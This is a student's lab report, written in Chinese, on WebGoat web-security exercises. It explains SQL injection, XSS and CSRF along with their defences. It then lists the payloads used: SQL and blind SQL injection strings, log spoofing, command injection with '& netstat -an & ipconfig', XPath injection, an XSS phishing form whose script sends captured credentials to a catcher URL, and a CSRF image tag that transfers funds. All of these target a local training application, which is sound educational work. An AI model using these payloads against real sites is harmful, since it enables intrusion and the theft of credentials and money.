Exp9 Web安全基础

Exp9 Web安全基础

1、基础问题

  • SQL注入攻击原理,如何防护
    • SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行,可能实现对后台数据库进行各类操做,甚至形成破坏后台数据库等严重后果。
    • SQL注入通常分为普通注入和盲注。
      • 普通注入:后台数据库会回显有价值的提示信息,经过这些可能的报错信息能够更容易地进行注入,适合新手入门训练。
      • 盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者须要运用脚本经过仅有的判断信息(好比时间差)对表中的每个字段进行探测,从而实现注入。
    • 防护:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
  • XSS攻击的原理,如何防护
    • 攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
    • 浏览器自身能够识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就须要网站开发者运用转义安全字符等手段。
  • CSRF攻击原理,如何防护
    • CSRF攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统,相似于钓鱼。如用户当前已经登陆了邮箱,或bbs,同时用户又在使用另一个,已经被你控制的站点,咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,因为当前你的浏览器状态已是登录状态,因此session登录cookie信息都会跟正常的请求同样,纯自然的利用当前的登录状态,让用户在不知情的状况下,帮你发帖或干其余事情
    • 经过 referer、token 或者 验证码 来检测用户提交。尽可能不要在页面的连接中暴露用户隐私信息。对于用户修改删除等操做最好都使用post 操做

实践过程

1.开启webgoathtml

  • 输入java -jar webgoat-container-7.1-exec.jar
    java

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat
    web

2.SQL字符串注入(String SQL Injection)sql

  • 让咱们试一试使用SQL注入,从而显示出全部信用卡号。能够先输入Smith试一试,发现出如今SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间,也就是咱们能够经过控制在输入框中输入的字符串,达到控制select语句的目的。

    数据库

  • 输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,因此成功经过。
    浏览器

3.日志欺骗(Log Spoofing)安全

  • 利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
  • 好比输入lzm%0d%0aLogin Succeeded for username: admin

4.Numeric SQL Injection服务器

  • 题目大意是这个表单容许使用者看到天气数据,利用SQL注入使得能够看见全部数据
  • 和以前的实验相似,只要加上一个1=1这种永真式便可达到咱们的目的
  • 使用inspect Element对源代码进行修改,在任意一个值好比101旁边加上or 1=1;
  • 成功结果

5.Command Injectioncookie

  • 题目的要求是:尝试给操做系统注入命令行,要求可以在目标主机上执行系统命令
  • 经过火狐浏览器的inspect Element对源代码进行修改,右键点击BackDoors.help,,这样就能够直接定位到须要修改的位置,无需一行一行代码的查看了
  • 例如在BackDoors.help旁边加上"& netstat -an & ipconfig"
  • 点击view
  • 后面跟着结果

6.Stage 1:String SQL Injectionsession

  • 题目要求使用字符串SQL注入在没有正确密码的状况下登陆帐号boss
  • 用老套路,以用户Neville登陆,在密码栏中输入' or 1=1 --进行SQL注入,发现登陆失败
  • 查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只容许输入8个字符
  • 对字符长度进行修改

  • 从新登陆,登陆成功

7.XPATH Injection

  • 题目要求是使用账户Mik/Test123,目标是试着去查看其余员工的数据。
  • 使用一个普通的用户名和密码,XPath会起做用,可是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的状况下,选择一个XML节点,以下所示:
Username: lzm' or 1=1 or 'a'='a
Password: lzm

8.Blind String SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入
    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' );
  • 根据返回的提示来判断name的范围,直至返回成功,而后把Jill输入表单,提交,以下图所示:

9.Phishing with XSS

  • 这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS能够在已存在的页面中进一步添加元素的特色
  • 在文本框里面输入一个钓鱼网站代码以下
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单以下
  • 输入用户名密码
  • 点击登陆,WebGoat会将输入的信息捕获并反馈回来,攻击成功

10.Stored XSS Attacks

  • 要求建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容
  • 在Message中构造语句<script>alert("5213 attack succeed!");</script>,提交后,能够发现刚刚建立的帖子20155213

11.Cross Site Request Forgery(CSRF)

  • 写一个URL诱使其余用户点击,从而触发CSRF攻击,咱们能够以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
  • 在message框中输入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5213"/>
  • 提交后在下面的Message List里面能够看我刚刚发送的消息

  • 点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5213元,从而达到CSRF攻击的目的

实验总结

此次实验确实学到了不少东西,原来还有这么个集成攻击小东西,练习中对xss,sql注入有了进一步认识,就先作10个吧。

相关文章
相关标签/搜索